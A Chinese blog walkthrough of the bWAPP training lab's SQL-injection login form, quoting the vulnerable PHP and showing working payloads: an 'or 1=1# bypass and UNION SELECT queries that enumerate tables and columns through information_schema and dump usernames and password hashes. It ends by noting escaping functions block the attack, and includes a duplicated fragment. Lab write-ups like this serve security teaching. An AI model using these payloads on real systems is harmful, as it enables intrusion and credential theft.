bWAPP-SQLInjection-LoginForm

表单注入

代码分析

//==============同时对输入字段进行消毒,查询================
<?php

    if(isset($_POST["form"]))   //===========获取提交的表单信息===============
    {

        $login = $_POST["login"];
        $login = sqli($login);

        $password = $_POST["password"];
        $password = sqli($password);
		//==================使用自定义的sqli()函数进行消毒================
        $sql = "SELECT * FROM heroes WHERE login = '" . $login . "' AND password = '" . $password . "'";
        // echo $sql;
       $recordset = mysql_query($sql, $link);
?>

演练

Login Form/Hero–low

bee 'or 1=1#
1

在这里插入图片描述

Login Form/Hero–mid/high

使用 addslashes(),mysql_real_escape_string() 无法绕过

function sqli_check_1($data)
{
   
    return addslashes($data);
    // 语法 addslashes ( string $str ) : string
    // 返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。
    // 这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)。
    
}

function sqli_check_2($data)
{
    return mysql_real_escape_string($data);
    // 面向对象风格
    // mysqli::escape_string ( string $escapestr ) : string
    // mysqli::real_escape_string ( string $escapestr ) : string
    // 过程化风格
    // mysqli_real_escape_string ( mysqli $link , string $escapestr ) : string
    // 此函数用来对字符串中的特殊字符进行转义, 以使得这个字符串是一个合法的 SQL 语句。
    // 传入的字符串会根据当前连接的字符集进行转义,得到一个编码后的合法的 SQL 语句。
}

Login Form/User–low

//==先通过用户名查询用户信息(如果存在),就提取出查到的信息中的用户密码,再与用户输入的密码进行匹配==

<?php
    if(isset($_POST["form"]))
    {
        $login = $_POST["login"];
        $login = sqli($login);
        $password = $_POST["password"];
        $password = sqli($password);
        $password = hash("sha1", $password, false);
   		//=============hash加密,方便与后面获取的密码进行匹配比对=======
        $sql = "SELECT * FROM users WHERE login = '" . $login . "'";
        $recordset = mysql_query($sql, $link);  
        if(!$recordset)					//===========先判断用户是否存在
        {
            die("Error: " . mysql_error());
        }
        else
        {
            $row = mysql_fetch_array($recordset); 
            
//==========!!!逐行获取查询获得到的信息,row位数组,通过字段下标获取值,进行匹配!!!========
            
            if($row["login"] && $password == $row["password"]) //====用户名,密码匹配
            {
                // $message = "<font color=\"green\">Welcome " . ucwords($row["login"]) . "...</font>";
                $message =  "<p>Welcome <b>" . ucwords($row["login"]) . "</b>, how are you today?</p><p>Your secret: <b>" . ucwords($row["secret"]) . "</b></p>";
                // $message = $row["login"];

            }

            else
            {

                $message = "<font color=\"red\">Invalid credentials!</font>";

            }

        }

        mysql_close($link);

    }
    echo $message;
?>

因为对密码进行的hash加密,使得输入的密码会被编码位字符串,无法获得注入效果

发现存在$sql = "SELECT * FROM users WHERE login = '" . $login . "'";语句,可以使用union 进行联合查询

' union select 1,2,3,4,5,6,7,8 #
' union select 1,2,3,4,5,6,7,8,9 #

在这里插入图片描述
在这里插入图片描述

此处得知道password 字段的在可利用字段的位置(此处为位置3)

注意此处的sha1加密的字符串必须为填入的密码的加密结果

' union select 1,2,"6885858486f31043e5839c735d99457f045affd0",4,5,6,7,8,9 # 
bug

在这里插入图片描述

sha1在线加密

  1. 获取表名
' union select 1,2,"6885858486f31043e5839c735d99457f045affd0",4,(select group_concat(table_name) from information_schema.tables where table_schema=database()),6,7,8,9 # 

bug

在这里插入图片描述

  1. 获取列名

    ' union select 1,2,"6885858486f31043e5839c735d99457f045affd0",4,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()),6,7,8,9 # 
    
    bug
    

在这里插入图片描述

  1. 获取信息

    ' union select 1,2,"6885858486f31043e5839c735d99457f045affd0",4,(select group_concat(login,'-',password,'-') from users),6,7,8,9 # 
    
    bug
    

在这里插入图片描述

Login Form/User–mid/high

分别用了addslashes()和mysql_real_escape_string()函数防御,

sers),6,7,8,9 #

bug


[外链图片转存中...(img-39NjtdKo-1600695174065)]

### Login Form/User--mid/high

分别用了addslashes()和mysql_real_escape_string()函数防御,

且在mysql编码为utf-8, 无法用宽字节绕过, 安全。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值